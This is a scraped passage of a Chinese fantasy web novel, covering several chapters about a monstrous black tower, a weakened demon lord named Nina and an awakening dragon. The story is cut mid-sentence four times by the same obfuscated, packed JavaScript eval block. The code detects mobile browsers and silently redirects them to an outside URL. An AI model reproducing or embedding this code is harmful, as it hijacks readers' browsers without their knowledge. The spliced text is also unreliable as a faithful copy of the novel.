;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612605|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出进入骑士学校，以期将来能成为皇帝的近侍。 贝尔霍特十九岁的时候，谢帕德家的长子、他的哥哥不幸因为当年的一场流行病丧命，于是他就成了大公的继承人。 由于他的幼稚性格在成年后依然没有得到多少改善，所以大公对这个因命运眷顾而得以继承财富和名誉的次子并不看好，始终担心有一天他的顽劣行为会让谢帕德家名声扫地。 万幸的是在学校里他耳濡目染到了所谓的骑士精神。这种学习和磨炼稍微抵消了一点幼稚的恶性副作用，让他看起来至少可以当一位无功无过的继承人了。 ——这就是贝尔霍特·谢帕德原本的人生轨迹。 不过自从跟随由于帝国的轰然腐化而毅然出走的两位皇子踏上探险的旅途之后，他的人生就发生了翻天覆地的变化。 他依然保持着离家时的那副样貌，但他已经绝无可能再回到自己的那个家中，也绝无可能再去继承谢帕德大公的爵位。 别说那个让人骄傲的公国，那片令人怀念的庄园，就连曾经那个盛大而宏伟的帝国，此刻也许都已不复存在。 他依稀记得母亲的一句话：“在外面要是过得不好，就赶紧回来。谢帕德永远可以为你托底。” 回不去了。可以为他托底的家族也不复存在了。对于这样的贝尔霍特来说，始终保有（他自以为的）贵族精神和骑士精神，是他唯一可以继承谢帕德荣耀的方法。 他同样不能忍受自己的身体被邪秽玷污。 这比永生不死更重要。 “这该死的核心，如果你那么想要，我一点都不稀罕把它留着。只要你真的能把这些黑乎乎的东西处理干净，我就答应把死灵核心交出来。” * 阿尔弗雷德依照前辈的指示，再次闭上双眼，作出祈祷的姿势。 过了一会儿，有人将什么东西塞到了他的手里。 但是传入耳朵的只有火焰跳跃的声音。 呼——哗——嚯—— 让人怀疑这个空间中只剩下自己和火焰，再没有其他人的存在。纯粹，干净，圣洁——这就是阿尔弗雷德此时此刻感受到的东西。 接着，非常突然的，周身接二连三地响起与火焰的声音不同的哗哗声，或是嘶、嗤之类的声音。 尽管感到好奇，但阿尔弗雷德始终按照指示的那样，没有睁开过眼睛。 不知道过去了多久，阿尔弗雷德觉得自己似乎已经感受不到下肢的存在，而且还在迷迷糊糊之间就这么跪坐着睡了一觉，他终于睁开了眼睛，并且被眼前的景象吓了一跳。 几乎到了魂不附体的地步。 周围全部是血、血、血。 所有那些刚刚还好端端坐在他身边的陌生人们，此时已经向着各个方向角度倒在地上，他们每个人的手里都握着一把匕首，那也是他们自绝生命所用的工具。 无数红色液体融汇在一起，形成了奇诡的图案。 阿尔弗雷德无声无息地翻了一下眼睛，晕了过去。 116. 黑色高塔 * 有什么东西从身体里被抽了出去。没有痛感，只是有些怪异。 剥离的仪式正在进行，甚至不需要什么准备，随意得就像两个人约了一顿饭。 贝尔霍特觉得身体一阵轻松，但紧接着又感到一阵沉重。 仿佛刚刚游完泳从水中脱离时的感受，肉身还没有习惯浮力的变化。 他看着那颗深紫色的核心没入阿斯代伦的身体，心中并没有太多遗憾，他看了一眼自己的手，发现已经发生虚化的五指终于恢复了正常。 他现在是一个正常的、完整的人类了。虽然他不知道接下去会发生什么，但也没有感到太多畏惧。 反观阿斯代伦的表情看起来并不愉快。 “怎么了？多了一颗核心，你的身体就受不了了吗？”贝尔霍特问。 阿斯代伦用尖尖的犬齿咬住下唇，像是要从自己的嘴唇上汲取一些血液似的。 “你不会是饿了吧？”贝尔霍特想起他的另一颗核心是吸血之王，不禁打趣道。 阿斯代伦从他轻快的语气中觉察到他一定没有发现气流的变化。 空气中有一种令人作呕的气味，仿佛是把化粪池翻了个底朝天后能嗅到的味道。 还有一种令人感到毛骨悚然的声音，仿佛无数条无足的爬行动物纠缠在一起争斗、啃噬的声音。 “贵族院里出现了一个怪物，你最好找个安全的角落呆着，不要随便乱逛，小心死无全尸。” 贝尔霍特一个激灵，立刻想起韦斯特尔在祭坛前召唤出来的那个黑洞，那时候韦斯特尔确实说了“献祭”，现在，看来是他献祭的对象给出了回应。 “真神……”他喃喃道，“那就是韦斯特尔说的真神……” 不过阿斯代伦没有听到他的这些念叨，快步向某个方向走去。 贝尔霍特本想如同僚告诫的那样赶紧找个相对安全的地方呆着，但又好奇事情会如何发展，他只踌躇了一秒，便迈开长腿，跟上了阿斯代伦。 * 布劳斯循着那股不祥的气息抵达议事大厅的时候，第一眼看到的是挡在明亮的大屏幕前的那个黑暗漩涡，在强烈的对比之中，漩涡的颜色看起来格外阴沉。 第二眼，他才看到了站在漩涡下方的那个拄着拐杖的男性。和漩涡比起来，他看起来太渺小了，也就不那么引人注意。 “韦斯特尔，你在做什么？”布劳斯鲁莽地上前了一步。 韦斯特尔在黑暗中睁开了那双已经不像人类的眼睛：“三百年了，或许我们该为世界洗一次牌。我们不能放任那个丫头继续成长下去了，在她获得完全的力量之前，我们必须有所行动。” “我们的确应该做好应对魔王的准备，但是你的做法会毁了这个国家，也毁了贵族院的。” “你这个连脑子里也只有肌肉的蠢货，你懂什么？” 这话引燃了布劳斯的怒火，他最恨别人喊他蠢货。 “看来你是不打算讲道理了。” “有神明的旨意，还需要什么道理？” 漩涡的体积在这个时候又膨胀了一些，快速伸展、翻腾的黑色触手看上去随时都能把韦斯特尔拖进那个深不见底的洞口。 暗夜核心强化了感官的锐度，布劳斯能觉察到有什么东西打算从那个洞口出来。 漩涡并不是怪物的本体，只是打通两个世界的出入口，就像一个传送阵。 不能再拖延时间了，要在真正的怪物出现之前把洞口关上。布劳斯清楚地认知到这一点。 他二话不说，幻化出一把赤红的双手剑，冲着韦斯特尔的脑袋砍了过去。 这种率直的攻击通常不会有太多效果，韦斯特尔压根就没有动，在他上方浮动的黑色触手就已经替他格挡了伤害。 同时，接触到大剑的触手像是被点燃了一样，星星点点地蹿出火苗，火势顺着触手的走势向黑洞蔓延，然而那个洞口一阵吞吐，就尽数熄灭了火焰。 韦斯特尔挑了一下眉毛，冷笑道：“还以为你虽然蠢了点，至少是个正人君子。原来兰登就是被你给藏起来的。” 他显然发觉了不管是大剑还是火苗，都只是用魔法创造出来的幻觉——那是暗夜精灵的特长。只要不当成是真的，那些幻觉就难以产生效果。 布劳斯没有说话，再次抡起大剑，这次砍向的目标是黑洞的中心。 布劳斯觉得自己像是砍到了一团空气，但是当他把武器抽回来的时候，却发现那柄几乎有一人宽的剑身上出现了一个巨大的切口圆滑的洞。 一条触手接着洞眼的圆弧拽住了剑身，举重若轻地一抖，就把布劳斯连剑带人给甩了起来。 它要把布劳斯丢进自己的嘴里。 那股浓郁的恶臭扑面而来，让人头脑发麻。 布劳斯当机立断地松开手，放弃了武器，自己却因为惯性，仍向着黑洞坠去。 一团粘稠温热的东西缠住了他的大腿，在千钧一发之际将他拖了回来。 他回头看了一眼，发现是臭着一张脸的阿斯代伦。 这个宽敞寂寥的空间几乎已经被黑色漩涡完全占据，只给处于附近的几个人类留下了勉强立足的地方。 布劳斯在巨魔核心的加成下有着远超常人的体能和力量，但现在那种精力也已逐渐见底，那个可疑的黑洞似乎拥有吸收能量的本领，即使没有发生直接接触，只要同处一个空间，体内的能量好像就会不停向其流去。 他的胸腔正在快速起伏，冷汗从额角滑落。 让他感到意外的是，阿斯代伦也经历了苦战，但狼狈程度却远不及他。 他不认为吸血之王的核心能够提供优秀的耐力，相反，血族虽然有着强大的身体自愈能力，但强度和韧度的数据却惨不忍睹。 他突然意识到了什么。 而韦斯特尔显然也想到了同样的事：“我还以为你是我们几个之间最后一个正派的人，原来早就在暗地里干那些见不得人的事了。你竟然将洛伦诺的大狮鹫核心据为己有，还能在这三百年间若无其事、一次不落地参加圆桌会议。” “没想到在对付魔王之前，我还要对自己过去的同伴拔剑相向，真是一个感伤的故事。”他继续说道。 阿斯代伦不为所动，控制着血鞭持续发动对韦斯特尔的进攻，不过那些攻击都被漩涡挡了下来，因而未能起到效果。 他也和布劳斯一样，感觉到力量正在流失，但又不能停止攻击，因为一旦眼前的平衡遭到破坏，他们很有可能在撤离之前就被漩涡吞噬。 考虑到他自身的精力有限，而那个黑洞看起来却有着无穷无尽的力量，目前的情形可以说非常不利。 然而一向脑袋活络的他现在也想不出任何逃生的办法。他甚至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627584|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有点后悔刚才对布劳斯出手相助。 就在这山穷水尽的时候，一团火苗突然在他的眼前燃起，接着迅速蔓延为一堵火墙，波诺的声音从某个方向传来：“趁现在快走！” 阿斯代伦没有犹豫，留下一条血鞭断后，迅速离开了这个充满不祥的会议室。 被留下的血鞭飞快地再次缠住布劳斯的脚踝，以不容拒绝的态度将这个固执的大个子拖出了战场。 他们没有看见，在失去了对手之后，从黑洞中弥漫出来的触手将韦斯特尔一把抓住，作为原先那两个敌人的替代品，兴高采烈地扔进了自己的内部。 在吞噬了巫妖核心后，漩涡就像发酵了的面粉团一样，眨眼间又膨大了好几倍，会议室再也容不下它了，它也突破了空间的限制，开始向各个方向快速膨胀，很快，它的最高处就超过了贵族院的穹顶…… * 【贵族院上方出现的黑色高塔究竟是为何物？世界末日将要到来的征兆？】 正如新闻标题所说的那样，贵族院那栋白色建筑的正上方出现了一个黝黑的高塔一般的影子。 与其说那是一座塔，倒不如说那更像一座巨大的祭坛，两边布满污秽的圆柱高高耸立，撑起一个中空的，邪恶的空间。 这种明显散发着危险气息的异变让首都市民陷入了深切的不安。 基础设施和道路交通基本瘫痪，市场交易失去秩序，人们在灾难降临的恐惧中或是拼命囤积货物，或是破罐破摔为所欲为。 不出半日，城市就变得混乱不堪。而这种混乱还在慢慢向其他地区蔓延。 人们不明白为什么那些总是高高在上、作出一副无所不能姿态的贵族们此时像是集体消失了一样，完全没有出面处理事端和安抚民众的意思。 是因为他们已经集体罹难，还是说眼前的好事正是他们的诡计？ 出城的魔法阵和交通站台已经挤满了人，眼看着排不上队的人索性选择了步行离开，大批惶恐的普通人像潮水一样从神圣峡谷的四座城门离开，其中自然也不乏向靠近罗德里斯基地的门口移动的队伍。 [喂，我说，那东西不会是传说中的“魔王”吧？] [三百年前，魔王被勇者和七贵族打败，现在，祂要回来复仇了。] [向所有人类！] [贵族院首当其冲，已经被祂摧毁了。] [人类已经无能为力了。没有什么能够保护我们了。] [喂，魔王回归是怎么回事啊？说说清楚！] [这是罗德里斯公寓搞的鬼吧？他们不是一直在从事关于魔族的事务吗，会不会其实是在暗中集结军队，同时积蓄召唤魔王的力量？] [都世界末日了就别搞什么阴谋论了，逃命要紧。] [本来对罗德里斯公寓还很有好感的，现在跟我说来这一出？] [呵呵，就说魔族不可信。] [负责人不是人类吗？] [叛徒！] [帮魔族复国对她来说有什么好处？她终究是个人类。她会不得好死的！] [我这边信号好差啊，发条消息都要十分钟。] [糟糕，我看到对面的街区好像集体停电了，我这里可能也快要断网了。] [你们是住在王都的吗？赶紧逃命吧，还断电不断电呢，再不走小命就要丢啦！] 117. 魔龙苏醒 …… 那股充斥着魔法的气流将我包围的时候，我突然记起了一些曾经的事情。 那段空白的人生突然浮现出隐约的光景。 格兰德。 那是我作为一颗卵果的记忆。可是一颗果实能感受到什么，记得什么呢？难道人类能记得他们尚且处于母亲肚子里时的事吗？ 格兰德是谁？ “格兰德，格兰德……给我讲故事。” “格兰德，明天可以带我出去玩吗？” “格兰德……” 那是我作为一个幼年的魔王的记忆，在萨利拉着我走过那条乡村小路之前的记忆，我与格兰德冒险、流浪，辗转在各个地方。 ……那是我的另一半生命？ 再然后，我变成了人类，失去了和我力量的共鸣。 我问阿加雷斯，为什么要骗我是格兰德。 他说每一位年幼的魔王应该由他们的先代陪伴他们长大，他宁可厚颜无耻地冒充格兰德，也不想破坏这个古老而意义非凡的传统，况且这是格兰德的遗愿。 我问阿加雷斯，为什么要夺走我的力量。 他说如果没有魔法，人类根本无法战胜魔族。 可是人类为什么要战胜魔族呢？ 因为人类想要夺走魔族的土地和资源。 为什么人类想要夺走魔族的土地和资源？ 因为他们失去了自己的。 因为自己失去了，所以就要让别人也失去吗？ 因为不从别人手中夺取，他们的手中永远都空空如也。 为什么不选择合作呢？ 因为只有真正把一切掌握在自己手中，才能获得安全感——他们，或者说我们，就是一个这样的种族…… 你和格兰德是好朋友，为什么不把这种跨越种族的友谊推广到整个族群呢？为什么要背叛，为什么要伤害，为什么要掠夺？ 因为我是一个胆小鬼。因为人类和魔族的怨恨已经发生了，我没有办法在那些受到伤害的族人面前宣布自己和魔王的情谊。 也就是说，在种族和友谊之间你选择了前者，这很自然，也很正常，但我还是忍不住想，会不会有更好的办法…… …… 我和阿加雷斯聊了很多听起来像是废话的东西。有点像是麻醉手术中医生为了安抚病人而进行的对话。 当我浑身上下都被那股熟悉的魔力包裹起来的时候，那种共振又开始了，如此强烈，如此接近，让我几乎以为自己的身体将要爆炸。 在那种感觉达到顶峰的时候，我又一次拒绝了。 我又一次拒绝了力量的归还。 “这不是一个没有力量的魔王能够应对的局面了，没什么好犹豫的。”尽管心里有这样的声音在不断地对我做出提醒，“看看城市里的那个怪物，看看你周围发生的一切。” 但我还是犹豫了。 谁能证明我能控制得了那股力量，谁又能证明当我成为一个完全的魔王，就可以把那个怪物一举消灭？ 谁能证明事情会变好而不是变得更糟？ 最后是我的一己之私……当我接纳了那种力量，我便将坠入名为独一无二的孤独。 ——《妮娜的日记》 *** 妮娜从学院办公大楼一楼的魔法阵抵达郊外时，见到的正是浩浩荡荡的逃难队伍。 因为已经离开了危险的中心，这些人的情绪都有点懈怠，行军的速度开始放慢，路上也有人开始闲聊。 “之前这附近不是出过事吗，你们怎么还敢往这里走？” “先别这么问，你自己不也挑了这条路吗？我是觉得其他城门太挤了，也不知道要排多久的队才能轮到自己出去，所以就索性选择另辟蹊径——大爆炸之后，这儿就很少有人走了吧。” “不是说那是一个地下基地，不如我们在这附近找找看，里面说不定会有安全的藏身之处。” “这个主意好，毕竟在人类眼皮底下存在了三百年，应该是个很隐蔽的地方吧……” 这支逃亡队伍准确地向着那个深渊一般的巨坑前进。 这时候，走在最前面的人毫无征兆地停了下来，跟在他身后的人正要询问是怎么回事，就看见前方大片血液如漫天大雨一样迎头洒下。 接着，还不等反应过来，他便觉得前胸一凉，继而是噗嗤一声，最后是一阵足以直接导致休克的剧痛。 走在队伍前方的两个人倒在地上，后面的人瞬间乱作一团。 黑色的魔女从天而降，眼神漫不经心，又充斥着嗜血的狂热：“今天怎么这么多人？” 逃亡的队伍中爆发出一声尖叫，人们如鸟兽散。 蛛腿般的黑色锁链向四面八方追赶可怜的逃犯，然后在绝望中给予他们致命一击。 妮娜没有看到这些场景，她并没有随同这支队伍一起前进，她沿着那条白桦树的道路回到当初与老吸血鬼分别的地方，迎着呛人的灰尘钻入了那条地道。 地道连通着早就已经失去穹顶的地下洞穴，只要抬头就能看到灰蒙蒙的天空，原本错综复杂的道路早就在爆炸中崩塌，让人无法辨认方向。但只要往下看，就能看到在黑暗的地底盘踞着黑色的庞然大物。 有三个魔女在巨龙上方盘旋巡逻，仔细观察的话，还能看到墙壁侧面的几个坍塌的洞口有黑色的身影正在站岗。 “罗德里斯，你听得到吗？”她小心翼翼地站在一个无人的洞口呼唤道，“魔龙罗德里斯，我命令你醒过来。” 不过巨龙的结界没有做出反应。她不知道是声音没有传达，还是口令不够准确，可是再提高音量的话，还不等罗德里斯醒来，她就会先被那些魔女发现。 “我该说什么？封印解除，还是结界消失？”她一边尝试着新的口令，一边寻找是否有能够接近巨龙的隐秘道路。 然而洞壁产生的回音引起了附近一名魔女的注意。妮娜在对方逼近之前沿着来时的路逃出了洞窟，直到确认对方返回岗位后才再次尝试寻路。 顺着洞窟内所剩无几的残损通道，妮娜找到了一件熟悉的东西，一个扛住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13643949|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了毁灭性魔法的打击，但也因此变得面目模糊的落地摆件。 它原本是竖着摆在那儿的，由于边角的残损而失去平衡之后，便只能倒在地上了。 是普特做的那件饰品。 妮娜摸索到那件饰物旁边，向四周张望了一番，终于在已经被尘土掩埋的穴壁上看到了一个灰蒙蒙的图案。 是连接罗德里斯身侧的魔法阵。她最后一次拜访罗德里斯时，就是从这个传送阵过去的。 她走上前去，用手掸了掸上面的灰尘，利落的线画便清晰地展现在她眼前。 她迈步走进圈内，下一秒，她的视野便被漆黑的龙鳞给填满了。 巨龙庞大的身体成为了完美的掩体，没有一个魔女发现不速之客的靠近。 她走近，伸手，指尖在靠近龙鳞的地方果然触到了不可见的屏障。 就像过去她曾在这里“下令”让老吸血鬼站立一样，她对这头古老的巨龙也下达了简短的命令。舌尖那陌生又熟悉的震颤让她意识到自己在讲述另一种语言。 “苏醒。” 在这个空气流动几近凝滞的深陷于地表之下的巨大空间里，一股气旋悄然而起，逐渐变强。 魔女们在上空发出惊呼，有人想要降下来查看情况，却被青云直上的旋风击退。 巨龙的身躯微微地动了一下，大地开始颤动，尘沙簌簌地掉落在妮娜的头上、身上，差点要将她染成一个黄土做的人。 数公里开外的地方，那座诡异的黑色高塔似乎探测到王城郊外的动静，一团黑色的能量在两根立柱中间酝酿、汇集，被高度压缩的能量扭曲了周围的空间。 它就像一座拥有自我意识的炮台，瞄准了几公里外的震中，然后毫不犹豫地将那颗巨大的能量球发射了出去，如同一颗近地飞行的黑色彗星，吞噬破坏着途径之处的一切事物。 * 妮娜用手遮挡着来自上方的灰尘和落石，抬头看向刚刚从结界中醒来的魔龙。 黑色巨龙有着一双金色竖瞳的眼睛，那双眼睛正流露出不屑的神情。 “格兰德的继任者竟是这样一个没用的家伙。”他咋舌道。 他似乎有意克制音量，但发出的声音还是引发了空气的震颤。 对于他的批评，妮娜没有借口反驳。 “龙族的个头都是这么大的吗？可不可以请你变小一点？”她顶着暴烈的风沙说道。 巨龙又动了一下，眼神突然变得险恶，他用力鼓起后肩的肌肉，那双被收在背上的翅膀便毫不客气地在这个对他来说过于拥挤的空间张开，然后带着咋呼呼的气流，向其身下的魔王倾轧而来。 一颗巨大的魔弹一头撞在巨龙翅膀的外侧，像钻头一样想要撕碎这面厚实的盾牌，但是没有成功，最终随着能量的耗尽而消弭。 不知道过了多久，那种无数台直升机同时起飞般的轰鸣声终于停了下来。 妮娜感到遮蔽在头顶上的巨大阴影不见了，她抬起头，看到的是晴朗到让人感到惊悚的天空，以及漂浮在视线中的金色沙尘。 118. 兵分两路 巡逻的魔女已经不见踪迹。 妮娜身旁站着一名披着黑色斗篷，打扮得像古代游侠般的中年男性，他有一头看起来又粗又硬的黑色短发，一张刀削般的脸，硬朗的五官，以及高大得有些吓人的身躯。 他金色的眼睛流淌着太阳的光辉，隐藏着睥睨众生的情绪。 “你就是罗德里斯？”妮娜鼓起勇气问道。 这还是她头一次碰见具备如此惊人魄力的魔族，若非事先知情，她定要怀疑眼前的人才是货真价实的魔王——也许任谁来看都会产生这样的感受。 化为人形的魔龙此刻正审视着她。 “格兰德的后继者。”他用低沉的声音说道。 妮娜立刻答道：“我叫妮娜·斯特尔。” “居然被冠上了人类的姓氏。”罗德里斯说，“可怜的小魔王。” 妮娜张了张口，却什么也没说。 她意识到罗德里斯很有可能并不愿意承认她的权力，毕竟她是一个不完整的魔王，而他又显然有着超过她太多的力量，刚才要不是有他的庇护，她现在一定已经灰飞烟灭了。 “我……” “现在没有说废话的时间，你似乎正在面对一个棘手的麻烦？” “我想是的。” 这种不确定的答案让罗德里斯对她的认可度更低了。 “那就让我们先去解决那个麻烦。”他说。 远处，那座黑色的高塔正散发着慑人的气息。 * “殿下？？！” 因为能量流失，布劳斯的意识在一段时间内始终处于恍惚的状态，他不太确定从会议室逃出来之后又过去了几天。 而当他好不容易恢复清醒之后，第一眼看到的却是一个让他以为自己仍在做梦的人。 阿加雷斯·格尔克诺，曾经的帝国皇子，斩妖除魔的勇者，大法阵的囚徒，现在正用魔法回路构筑起防御的壁垒，抵御着黑色漩涡的侵袭。 “好久不见，布劳斯。”他用与外表和身份都不怎么相符的腼腆声音打着招呼。 布劳斯皱了皱眉，但随之而来的却是涌上心头的一阵安心。 不知道为什么，从很久很久以前开始，这个胆小怕事的第一皇子总能意外地给人一种安全感，或许是因为他确实有着高尚的人格，也可能是因为他在关键的时候其实从来没有掉链子。 所以三百多年前，在帝国崩塌的前夜，他才会义无反顾地抛下一切，跟随阿加雷斯踏上冒险的旅途。 他知道那是一条不归之路，但因为领路人是阿加雷斯，所以他没有犹豫也不曾后悔。 布劳斯倚靠在墙壁上，他很少离开贵族院，因此无法弄清楚自己目前身处何方，不过由于一抬头就能看见贵族院那高大洁白的穹顶以及萦绕在穹顶上的黑色迷雾，他能够判断这儿离贵族院并不遥远。 “那到底是什么东西？韦斯特尔怎么样了？”他有气无力地问道。 回答他的是盘坐在角落里的贝尔霍特：“韦斯特尔把那东西叫做真神。他崇拜那东西已经有一段时间了——” 说到这里，他突然顿住，用手掩了一下嘴巴，但一些不好听的字眼还是从他的手套下面漏了出来：“见鬼，该死，不会吧……” “你想到了什么？”这次是阿斯代伦的声音，他就坐在布劳斯边上不远的地方。 “让他的身体产生异变的并不是恶魔的核心，而是那个奇怪的信仰——也就是说，他在两百多年前就和那玩意儿有纠葛了！天啊，真恶心……”贝尔霍特说。 有人发出了一个怪声，是坐在另一个角落的波诺，他的表情很古怪，布劳斯猜测他想起了洛伦诺。 “话说回来，你为什么会用火焰魔法？”他同样想起了波诺在解救他们的时候所释放的火墙。 波诺竖起一根手指，燃起了一簇火苗：“你们一直想要寻找的炼狱兽核心，就在我身体里。”说这话的时候，他一脸恨恨地看着阿斯代伦。 贝尔霍特转移了话题：“怎么没有看到蒂德莉？她不会已经遇害了吧？” 布劳斯说：“谁吃得消对她下手，那可是戈莱特的狂战士。”他想起了在那个被自己藏起来的房间外面看到的斧头劈砍的痕迹，“她应该和兰登在一起。” “她找到兰登了？” 布劳斯没有回答。 “既然确认过所有人的状况了，我们聚在这里的人是不是可以举行会议，商量一下接下去该怎么办。” “再次出走，然后流浪，寻找下一个家园？” “难道我们是蝗虫吗？毁了一片庄稼地之后再去毁灭另一个？” “你这么说，其实是挺像的，我们为这片土地做了什么好事吗——除了给它留下伤害之外。” “科技和文明。” “即使我们不曾出现，魔族也已经拥有了辉煌灿烂的文明，甚至比我们的更加古老。他们的魔法也在随着时代发展不断进步。” “见鬼，你为什么要替他们说好话？” “你是一个活了三百多年的人，你不能把自己的认识局限在近二十多年之内，他们并非从来就是‘卑贱的种族’。” “噢，你是来彰显自己的高瞻远瞩的吗？又或者是宅心仁厚？” “我们得阻止那个怪物。我们几个的力量，再加上阿加雷斯，总能做到点什么的。” “我以为殿下会大公无私地把魔力还给那个小魔王。” “我是这么想的，但被拒绝了。” “喂！” 就在众人七嘴八舌的时候，那团已经变成了祭坛模样的黑雾之间闪现出一道光线，一颗正在酝酿中的魔法弹。 “它发现我们了？”波诺忧心忡忡地询问阿加雷斯。 后者摇摇头，笃定道：“你可以对我的隐匿魔法更有信心一点。它盯上的是魔王。”他的声音听上去有些担心。 由于魔法弹的魔法密度过载，黑雾颤动了一下，紧接着，那颗魔弹被强大的动能带了出去，飞过避难所上空的时候，将阿加雷斯的魔法回路撕开了一个小口。 “更有信心一点是吗？”贝尔霍特说。 阿斯代伦用血鞭敲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13659565|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打了他的脑袋。 * 三百年前。 一群人类漂洋过海、跋山涉水，来到了一片新的大陆。 长途冒险让他们筋疲力尽，随波逐流让他们提心吊胆，如果再找不到陆地，船舱内储存的粮食和淡水就要消耗殆尽，后果不堪设想。 他们从一个残暴腐朽的旧帝国来到此处，希望建立一座新的家园。 遗憾的是，这片土地早就有了它自古以来的忠实住民，一群有着或诡异或绮丽外形的智慧物种，一种闻所未闻的社会样貌。 这些原住民中的一部分拥有超自然的能力，比如可以自由控制水、火、电等物质和元素，或者让人产生幻觉，又或者，拥有一具与所谓血肉之躯相去甚远的身体…… 而另一部分则拥有强壮的体格和远超人类的身体素质，或将力量发展到极致，或在敏捷与灵活上取得惊人成就…… 人类在他们身上看到了和古代故事中与“魔法”相似的迹象，于是将他们称为魔族，将他们的社会称为魔界，将他们的统治者称为魔王。 无论是从战斗力的角度，还是从与这片土地的渊源出发，人类作为后来者，本不应该提出对它的主权要求。 但是人类文明让他们习惯了拥有一个独立的排他的国度。 很快，这些人类里面出现了两种意见。 一种是融入魔界，建立起人类和魔族共存的新社会。另一种则坚持压制原住民，确保人类在这片土地上占有优势地位。 两派人马各执一词，但也都认同当务之急是先获得稳定的生存资料和生存空间，让种族能够得到延续和发展。 万幸魔族并不是一个好战的种族，他们中的大多数坦然地接受了新登陆的邻居们，甚至还在他们建设家园的过程中提供了不少体力和魔力方面的帮助。 一部分人因此和魔族塑造了友好的良性关系，其中就包括暂时担任人类领袖的阿加雷斯·格尔克诺。 作为前帝国皇子，他具备广博的知识、聪慧的大脑和健康的身体，以及其父亲不曾具有的宽容温厚的性格。 他很快就和魔界的领袖成为朋友，得到了出入魔王宫殿的许可。工作之余，他便成了那里的常客。 两个生长于不同大陆的文明当然没有共通的语言，但魔王不可思议地在很短的时间之内就学会了人类的文字和发音。 阿加雷斯也尝试过学习魔族的文字，但是速度显然比魔王要慢得多。 除了语言，在和魔王的交往过程中，他还了解了很多有关魔族的知识，并向魔王流露了内心的愿景。 两个种族的首领一拍即合，都产生了要让人类和魔族友好相处的渴望。 如果一切就这么和平稳定地发展下去，历史、乃至这片大陆，在今天一定会是另一番样貌。 可惜，并不是所有人类都认同阿加雷斯的想法，同样，也并不是所有魔族都愿意与人类做朋友、做邻居。 而更可惜的则是，阿加雷斯无力与那么多的反对者抗衡，而魔王格兰德也因为寿数将近而变得非常虚弱。 119. 三百年前 “看到里边那个光点了吗？那就是魔王之力。刚刚成型的小魔王身体十分脆弱，无法承受巨大的力量，所以那部分力量会被单独隔开。等果实成熟到一定程度，中间的隔膜就会消失，力量会融入她的身体。” “她什么时候才会出生呢？” “快的话，也许今年就能成熟，慢一点的话，可能还要再等上几年。” “她叫什么？” “妮娜。” “我还以为你会起一个更加有王者风范的名字呢。妮娜——这个名字太简单了。” “你是什么时候变得这么‘放肆’的，竟然对我的决定感到不满。”魔王的嘴角微微上扬，眼尾则适度下压，这表明他在说玩笑话，“你知道的，格兰德也不是一个霸道的名字，我们不太需要这种形式上的东西来装点自身的存在。” “但你建造了宫殿，这难道不是在彰显自己的权威？” “这是我的个人喜好，日后如果妮娜喜欢，她可以让恶魔城把这里变成更加富丽堂皇的城堡，又或者是一间朴素的小屋——全凭她的意愿。” “你和我认知中的‘王’很不一样。” “你指哪个方面？不管是哪个方面，都很正常，不同的权力来源会促生出不同的王者。我拥有由生命之树赋予的天生的权力，我不必为如何维持它而感到烦恼，很多在你看来对王权必不可少的东西对我来说则没有必要。” “世上哪有那么好的事。难道就不需要哪怕一点点代价吗？” “我要保持高洁、正直，不做一件错事。” “没有人可以不做错事，哪怕是最正直的人。” “你觉得和另一个种族和平共处的决定会是一个错误吗？” “格兰德，我不会让它成为一个错误。” 面对阿加雷斯的承诺，老魔王笑了起来。 * 两个不通语言的种族很容易产生对彼此的误会，并因此酿成争端，若是未能及时掐灭，最终还会演变成一场战争。 这正是这两个不幸相遇的物种在后来经历的事。 一个人类因为害怕而弄伤了一个充满好奇的兽人幼崽，幼崽的监护者于是报复了这名人类，接着，这名人类的同伴围殴了年长的兽人，落荒而逃的愤怒兽人喊来了力量强大的成年兽人…… 斗殴和报复的规模越来越大，并加入了械斗和魔法，逐渐发展成群体间的争斗。 